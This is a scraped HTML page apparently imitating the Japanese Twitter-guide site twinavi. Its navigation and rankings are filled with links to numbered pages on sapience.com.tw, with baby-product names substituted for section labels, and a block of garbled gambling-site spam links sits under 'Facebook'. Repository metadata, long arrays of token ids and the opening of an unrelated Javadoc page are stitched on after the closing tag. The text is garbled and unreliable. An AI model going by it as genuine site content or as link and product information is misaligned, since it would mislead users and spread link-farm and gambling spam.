maxlength="60"/><input type="hidden" name="ref" value="searchbox"/><input type="image" src="http://twinavi.jp/img/dante/btn_search.png" value="検索する" /> </form> </div> </div></div> <!-- //global navi --> <!-- local navi --> <!-- //local navi --> <!-- MAIN CONTENTS --> <div id="pagewrapper" class="contents"> <div class="column main"> <div class="section"> <h1 class="xsmall label orange column">HOTワード</h1> <ul class="giftext icon-l" style="margin-left:75px"> <li class="inline"><a href="" class="txt-inline">のりもの(アガツマ)</a></li> <li class="inline"><a href="" class="txt-inline">注目ニュース</a></li> <li class="inline"><a href="" class="txt-inline">ツイッター検索</a></li> <li class="inline"><a href="" class="txt-inline">電動レールでGO!GO!アンパンマンDX</a></li> </ul> </div> <section id="home-article" class="section"> <header class="section-title navi"> <h1 class="small"><a href="" style="color:#333">話題</a></h1> <div class="home-buzzcategory"> <ul> <li class="li-tab"><a id="tab-pickup" class="tab-selector-article tab s xsmall on">ピックアップ</a></li> <li class="li-tab"><a id="tab-news" class="tab-selector-article tab s xsmall">ロワイヤル オートスウィング</a></li> <li class="li-tab"><a id="tab-tidbits" class="tab-selector-article tab s xsmall">オモシロ</a></li> <li class="li-tab"><a id="tab-lifestyle" class="tab-selector-article tab s xsmall">遊具(パピー)</a></li> <li class="li-tab"><a id="tab-entertainment" class="tab-selector-article tab s xsmall">エンタメ</a></li> <li class="li-tab"><a id="tab-it" class="tab-selector-article tab s xsmall">IT</a></li> <li class="li-tab"><a id="tab-culture" class="tab-selector-article tab s xsmall">きりんスライダー</a></li> <li class="li-tab"><a id="tab-sports" class="tab-selector-article tab s xsmall">スポーツ</a></li> </ul> <div class="clearfix"></div> </div> </header> <div id="tab-pickup-content-article" class="tab-content tab-content-article on"> <div class="section-body"> <div class="column home-buzzimage"> <a href="" class="block"><img src="" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <ul class="list-article"> <li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021711536.html">http://sapience.com.tw/logs/site-nipponki/02021711536.html</a></li> <li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021724156.html">http://sapience.com.tw/logs/site-nipponki/02021724156.html</a></li> <li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021643438.html">http://sapience.com.tw/logs/site-nipponki/02021643438.html</a></li> <li class="home-buzzlink dotted"><a href="" class="">サウジ、イランと外交関係断絶 大使館襲撃受け</a></li> </ul> <a href="" class="xsmall">【一覧へ】</a> </div> </div> </div> </section> <!-- TWINAVI NEWS --> <section id="home-news" class="section"> <h1 class="section-title small navi"><a href="">ツイナビのおすすめ</a></h1> <div class=""> <ul> <li class="column home-news-box home-news-box0"> <span class="column icon-m"> <a href="http://twinavi.jp/topics/culture/55c5bc46-19f0-4ba7-a2c5-3812ac133a21"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/09/aekanaru-fig3.jpg" class="article-thumbnail" alt="" /></a> </span> <span class="giftext icon-m small"> <a href="">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) ,クルリラ モアレブラック【チャイルドシート】</a> </span> </li> <li class="column home-news-box home-news-box1"> <span class="column icon-m"> <a href=""><img src="" class="article-thumbnail" alt="" /></a> </span> <span class="giftext icon-m small"> <a href="">ツイッター、ルールとポリシーを改定 プライバシー保護と、攻撃的行為の禁止をより明確に</a> </span> </li> <div class="clearfix"></div> <li class="column home-news-box home-news-box2"> <span class="column icon-m"> <a href=""><img src="" class="article-thumbnail" alt="" /></a> </span> <span class="giftext icon-m small"> <a href="http://sapience.com.tw/logs/site-nipponki/02021650602.html">http://sapience.com.tw/logs/site-nipponki/02021650602.html</a> </span> </li> <li class="column home-news-box home-news-box3"> <span class="column icon-m"> <a href=""><img src="" class="article-thumbnail" alt="" /></a> </span> <span class="giftext icon-m small"> <a href="">大雪・台風・災害・交通・ライフラインの情報リンク集</a> </span> </li> </ul> <div class="clearfix"></div> </div> </section> <!-- //TWINAVI NEWS --> <div class="column main-right"> <section id="home-accountranking" class="section"> <h1 class="section-title navi small"><a href="">ツイッター人気アカウント・ランキング</a></h1> <span class="caution uptime xxsmall">1/4更新</span> <div class="home-accountcategory tabwrapper s"> <ul> <li class="li-tab"><a id="tab-account1" class="tab-selector-account tab s xsmall on">総合</a></li> <li class="li-tab"><a id="tab-account2" class="tab-selector-account tab s xsmall">有名人・芸能人</a></li> <li class="li-tab"><a id="tab-account3" class="tab-selector-account tab s xsmall">多機能ベビーカー</a></li> <li class="li-tab"><a id="tab-account4" class="tab-selector-account tab s xsmall">ミュージシャン</a></li> <li class="li-tab"><a id="tab-account5" class="tab-selector-account tab last s xsmall">多機能ベビーカー(コンビ)</a></li> </ul> <div class="clearfix"></div> </div> <div id="tab-account1-content-account" class="tab-content tab-content-account on"> <div class="section-body"> <div class="column icon-l centered"> <a href=""> <span class="rankimage"> <span class="rank rank1">1</span> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon l" /> </span> <span class="xsmall">GACKT</span></a> </div> <div class="column icon-l centered"> <a href=""> <span class="rankimage"> <span class="rank rank2">2</span> <img src="http://pbs.twimg.com/profile_images/583313979763617792/SnAobnzc_bigger.jpg" alt="マルチ5ウェイ" class="icon l" /> </span> <span class="xsmall">B型ベビーカー(アップリカ)</span></a> </div> <div class="column icon-l centered"> <a href=""> <span class="rankimage"> <span class="rank rank3">3</span> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon l" /> </span> <span class="xsmall">SHOPLIST</span></a> </div> <div class="column icon-l centered"> <a href=""> <span class="rankimage"> <span class="rank rank4">4</span> <img src="http://pbs.twimg.com/profile_images/667352898687205377/7zMXkcFD_bigger.jpg" alt="西内まりや" class="icon l" /> </span> <span class="xsmall">西内まりや</span></a> </div> <div class="column icon-l centered"> <a href=""> <span class="rankimage"> <span class="rank rank5">5</span> <img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ショップジャパン【公式】" class="icon l" /> </span> <span class="xsmall">ショップ...</span></a> </div> <div class="clearfix"></div> </div> <div class="section-footer endline"> <a href="" class="link-more">トイザらス限定 ディズニー名前旗「ミッキー&ミニーひな祭り」</a> </div> </div> <section id="home-articleranking" class="section"> <h1 class="section-title small navi"><a href="/topics">話題アクセスランキング</a></h1> <div class="section-body"> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://api.rethumb.com/v1/width/500/http://news.tv-asahi.co.jp/articles_img/000054140_640.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">ニュース</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021639077.html">http://sapience.com.tw/logs/site-nipponki/02021639077.html</a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021734530.html">http://sapience.com.tw/logs/site-nipponki/02021734530.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>18インチ 子供用自転車 キッズフレンドII(レッド)【オンライン限定】</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://natalie.mu/media/comic/1502/0212/extra/news_xlarge_majicalo.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="http://twinavi.jp/topics/entertainment#topics-ranking">エンタメ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>新鋭・鈍速毎日が描く熱血魔法少女アクション...</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>ボボ コーラム スペシャルベビー布団8点セット,ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021702016.html">http://sapience.com.tw/logs/site-nipponki/02021702016.html</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://pbs.twimg.com/media/CXxje1GUMAAo8pE.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">オモシロ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ピントと写真の関係性について。</a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021730763.html">http://sapience.com.tw/logs/site-nipponki/02021730763.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>子供たちにかかわるすべての大人たちへ。さま...</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="/topics/lifestyle/560bcdc1-aa20-49c0-aa74-6230ac133a21" class="block"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/11/tweet-alt-pic.png" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">ライフスタイル</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021712596.html">http://sapience.com.tw/logs/site-nipponki/02021712596.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>母が不幸なのはわたしのせいではない。わたし...</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>Air Buggy COCO BRAKE(エアバギーココ ブレーキ) キャメル【ベビーカー】</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="/img/topics/thumbnail/internetcom.gif?1450773495" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">IT</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>Google カレンダーのデータを Excel にエクス...</a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021649641.html">http://sapience.com.tw/logs/site-nipponki/02021649641.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>家族で使いやすいLINEスタンプ登場--「洗濯し...</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://www.gizmodo.jp/images/2015/12/151225arcticwinter.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">カルチャー</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ベビーザらス限定 ルシエス オートスウィング フルールブラウン</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>海の上はハードル高すぎた…SpaceX、ついに地...</a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021714995.html">http://sapience.com.tw/logs/site-nipponki/02021714995.html</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://f.image.geki.jp/data/image/news/2560/154000/153676/news_153676_1.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">スポーツ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>徳島がDF村松の契約満了を発表</a></li> <li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021652519.html">http://sapience.com.tw/logs/site-nipponki/02021652519.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>「彼らは素晴らしい選手」個性磨いた神奈川県...</a></li> </ol> </div> <div class="clearfix"></div> </div> </section> <section id="home-faq" class="section"> <h1 class="section-title small navi"><a href="">Twitter使い方ガイド よくある質問アクセスランキング</a></h1> <div class="section-body"> <ol> <li class="small list-l lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021702756.html">http://sapience.com.tw/logs/site-nipponki/02021702756.html</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>自分のツイートを削除するにはどうしたらいいですか?</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>【雛人形】【収納飾り】親王飾り「桜抜き形朱塗」</a></li> </ol> </div> <div class="section-footer"> <a href="" class="link-more">もっと知りたい!「Twitter使い方ガイド」</a> </div> </section> </div> </div> <aside class="column sub"> <section id="twinavi-tweet" class="section"> <h1 class="section-title small">最新のツイナビツイート</h1> <div class="section-body"> <p class="small">【話題のツイート】私が「♪お手〜伝いロボ♪ 緊急出動〜♪」って歌えば、子供達は… <a rel="nofollow" target="_blank" href="">マイクラライト?スーパーライト(ブルー)【ベビーカー】</a></p> </div> <div class="follow_sidebar follow_twitter"> <span class="altimg hukidashi"></span> <div class="column"> <a href="" title="ツイナビのTwitterアカウント" class="altimg icon m ic-twinavi">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) <</a> </div> <div class="giftext icon-m"> <a href="" title="ツイナビのTwitterアカウント" class="small">Twitterの最新情報をチェックしよう!</a> <a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">をフォロー</a> </div> <div class="clearfix"></div> </div> </section> <section id="facebook" class="section"> <p class="small">Facebook<a href="http://www.xpj3344111.com/">ÐÂÆÏ¾©ÓéÀÖ</a> <a href="http://www.zq3344111.com/">ÕæÇ®Å£Å£</a> <a href="http://www.ylc3344111.com/">ÓéÀÖ³Ç</a> <a href="http://www.xy28tu.com/">pcµ°µ°×ßÊÆÍ¼</a> <a href="http://www.pcrgs.com/">pcµ°µ°ÔÚÏßÔ¤²âÍø</a> <a href="http://www.nin168.com/">pcµ°µ°ÐÒÔË28app</a> <a href="http://www.xinjiapo28app.com/">ÐÂ¼ÓÆÂÐÒÔË28app</a> <a href="http://www.jianada28app.com/">¼ÓÄôóÐÒÔË28</a> <a href="http://www.kuai28.com/">ÐÒÔË28¼¼ÇÉ</a> <a href="http://www.pcdd-app.com/">pcµ°µ°ÐÒÔË28app</a> <a href="http://www.xy28xiazai.com/">pcµ°µ°×ßÊÆÍ¼</a> <a href="http://www.8883344111.com/">888ÕæÈËÓéÀÖ</a> <a href="http://www.uni588.com/web/zhongbanghaotie/25562.html">È«Ñ¶Íø</a> <a href="http://www.uni588.com/web/zhongbanghaotie/25563.html">ÕæÈËţţ</a> <a href="http://www.yl3344111.com/">ÓÀÀûÓéÀÖ</a> <a href="http://www.qx3344111.com/">È«Ñ¶Íø</a> <a href="http://www.zr3344111.com/">888ÕæÈËÓéÀÖ</a> <a href="http://www.xy28uu.com/">xy28Ô¤²â</a></p> <div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div> </section> <section id="home-side-account" class="section"> <h1 class="section-title small sub"><a href="">有名アカウントを探す</a></h1> <div class="section-body-sub"> <ul> <li> <a href="" class="lined all block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 総合<br /> <span class="num mute xsmall">71,071人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 有名人・芸能人<br /> <span class="num mute xsmall">2,867人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="タワーレコード川崎店(通称:タワ崎)" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> エンタメ<br /> <span class="num mute xsmall">3,226人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> <span style="letter-spacing:-2px">くらし・おでかけ</span><br /> <span class="num mute xsmall">6,128人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ショップジャパン【公式】" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> メディア<br /> <span class="num mute xsmall">おもちゃ(学研)</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="旭川市旭山動物園[公式]" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 社会・政治<br /> <span class="num mute xsmall">886人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="所英男" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> スポーツ<br /> <span class="num mute xsmall">1,080人</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> ビジネス・経済<br /> <span class="num mute xsmall">おしゃべりイングリッシュ</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> サービス<br /> <span class="num mute xsmall">3,871人</span> </span> </a> </li> </ul> <div class="clearfix"></div> </div> </section> <section class="section"> <h1 class="section-title small sub"><a href="">ツイッター使い方ガイド</a></h1> <div class="section-body-sub"> <ul> <li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021700656.html">http://sapience.com.tw/logs/site-nipponki/02021700656.html</a></li> <li class="small dotted lined"><a href="">基本的な使い方</a></li> <li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021732309.html">http://sapience.com.tw/logs/site-nipponki/02021732309.html</a></li> <li class="small dotted lined"><a href="">FAQ よくある質問</a></li> <li class="small dotted lined last" last><a href="">コンパクトバギー</a></li> </ul> </div> </section> <div class="section section-fbwidget"> <div class="section-title small sub">Facebook</div> <div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </div> </div> </aside> <div class="clearfix"></div> <nav class="contents"> <br /> <a href="" class="link-top absright">ページの上部へ</a> </nav> </div> <footer id="pagefooter" class="wrapper"> <div class="contents"> <nav> <ul id="sitemap"> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話題</a></span> <ul> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021639240.html">http://sapience.com.tw/logs/site-nipponki/02021639240.html</a></li> <li><a href="">ニュース</a></li> <li><a href="">ベビーチェア(カトージ)</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021716867.html">http://sapience.com.tw/logs/site-nipponki/02021716867.html</a></li> <li><a href="">エンタメ</a></li> <li><a href="">IT</a></li> <li><a href="">カルチャー</a></li> <li><a href="">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </a></li> <li><a href="">お知らせ</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-matome">まとめ</a></span> <ul> <li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">コミック・アニメ</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ゲーム</a></li> <li><a href="">映画</a></li> <li><a href="" class="div-inner small on">TV番組</a></li> <li><a href="">芸能(海外)</a></li> <li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">芸能(国内)</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">プロ野球</a></li> <li><a href="">Jリーグ</a></li> <li><a href="">プレミアムベビーチェア</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ガジェット</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021714684.html">http://sapience.com.tw/logs/site-nipponki/02021714684.html</a></li> <li><a href="">A型ベビーカー(コンビ)</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021733475.html">http://sapience.com.tw/logs/site-nipponki/02021733475.html</a></li> <li><a href="">IT</a></li> <li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">音楽</a></li> <li><a href="">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </a></li> <li><a href="">社会</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021740497.html">http://sapience.com.tw/logs/site-nipponki/02021740497.html</a></li> </ul> <br class="block clearfix"><br> </li> <li class="sitemap-block"> <span class="top-sitemap"><a href="http://sapience.com.tw/logs/site-nipponki/02021637385.html">http://sapience.com.tw/logs/site-nipponki/02021637385.html</a></span> <ul> <li><a href="">インタビュー 一覧</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span> <ul> <li><a href="./index.html">総合</a></li> <li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">有名人・芸能人</a></li> <li><a href="">エンタメ</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021707917.html">http://sapience.com.tw/logs/site-nipponki/02021707917.html</a></li> <li><a href="">メディア</a></li> <li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ビジネス・経済</a></li> <li><a href="">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </a></li> <li><a href="">スポーツ</a></li> <li><a href="">サービス</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021742459.html">http://sapience.com.tw/logs/site-nipponki/02021742459.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-topics">特別企画</a></span> <ul> <li class="clearfix"><a href="">アンケート</a></li> <li><a href="">選挙</a></li> </ul> </li> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitter使い方ガイド</a></span> <ul> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021708628.html">http://sapience.com.tw/logs/site-nipponki/02021708628.html</a></li> <li><a href="">Twitterとは</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021712273.html">http://sapience.com.tw/logs/site-nipponki/02021712273.html</a></li> <li><a href="">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </a></li> <li><a href="">よくある質問</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021643194.html">http://sapience.com.tw/logs/site-nipponki/02021643194.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-twitter">ツイッター検索</a></span> <ul> <li><a href="">キーワード検索</a></li> <li><a href="">ユーザー会話検索</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-help">ツイナビヘルプ</a></span> <ul> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021708567.html">http://sapience.com.tw/logs/site-nipponki/02021708567.html</a></li> <li><a href="">よくある質問</a></li> </ul> </li> </ul> </nav> <div class="clearfix"></div> </div> <div id="footer-giftext"> <div class="contents"> <!-- giftext --> <div class="column footer-giftext"> <div class="column"> <a href="http://sapience.com.tw/logs/site-nipponki/02021710142.html">http://sapience.com.tw/logs/site-nipponki/02021710142.html</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Twitter</span> <a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">ブルーイン 7WAY へんしんメリージム</a> </div> </div> <div class="column footer-giftext"> <div class="column"> <a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Facebook</span> <div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </div> </div> </div> <div class="column footer-giftext twinavismart"> <div class="column"> <a href="" class="altimg icon m ic-twinavismart">ツイナビforスマートフォン</a> </div> <div class="giftext icon-m"> <span class="subtitle"><a href="">ツイナビforスマートフォン</a></span> <span class="xsmall"><a href="">スマートフォンでアクセス!</a></span> </div> </div> <!-- //giftext --> <div class="clearfix"></div> </div> </div> <div class="contents last"> <ul id="docs" class="centered xsmall"> <li><a href="">ツイナビ ホーム</a></li> <li><a href="">利用規約</a></li> <li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">個人情報保護方針</a></li> <li><a href="">健全化に関する指針</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021633265.html">http://sapience.com.tw/logs/site-nipponki/02021633265.html</a></li> <li><a href="http://sapience.com.tw/logs/site-nipponki/02021710443.html">http://sapience.com.tw/logs/site-nipponki/02021710443.html</a></li> <li><a href="">広告掲載について</a></li> <li class="last"><a href="">お問い合わせ</a> </ul> <p class="centered xsmall"><small>Copyright &copy; 2016 All rights reserved.</small></p> </div> </footer> <div class="hide"> <div id="preregister-box"> <p class="preregister-title large">ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </p> <p class="preregister-text">メチャカルファースト<br/>16インチ 子供用自転車 トリックスター2 (レッド)【男の子向け】,ワールドSHINKANSENのかんたんおりたたみジム (しんかんせん4283) </p> <p><a href="" class="btn login preregister-login">Twitterでの認証に進む</a></p> </div> </div> </body> </html>
ForAEdesWeb/AEW25
logs/site-nipponki/02021744780.html
HTML
gpl-2.0
79,434
[ 30522, 1026, 5896, 1013, 5034, 2278, 1027, 1013, 1013, 1003, 6079, 1003, 1020, 2278, 1003, 6353, 1003, 6191, 1003, 4185, 1003, 1020, 2063, 1003, 1016, 2063, 1003, 5824, 1003, 3515, 1003, 1016, 2063, 1003, 1020, 2497, 1003, 5824, 1013, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_231) on Mon Jul 13 06:03:34 MDT 2020 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>mil.nga.sf.wkb (Simple Features Well-Known Binary 2.0.3 API)</title> <meta name="date" content="2020-07-13"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="mil.nga.sf.wkb (Simple Features Well-Known Binary 2.0.3 API)"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../mil/nga/sf/wkb/package-summary.html">Package</a></li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev&nbsp;Package</li> <li>Next&nbsp;Package</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?mil/nga/sf/wkb/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- 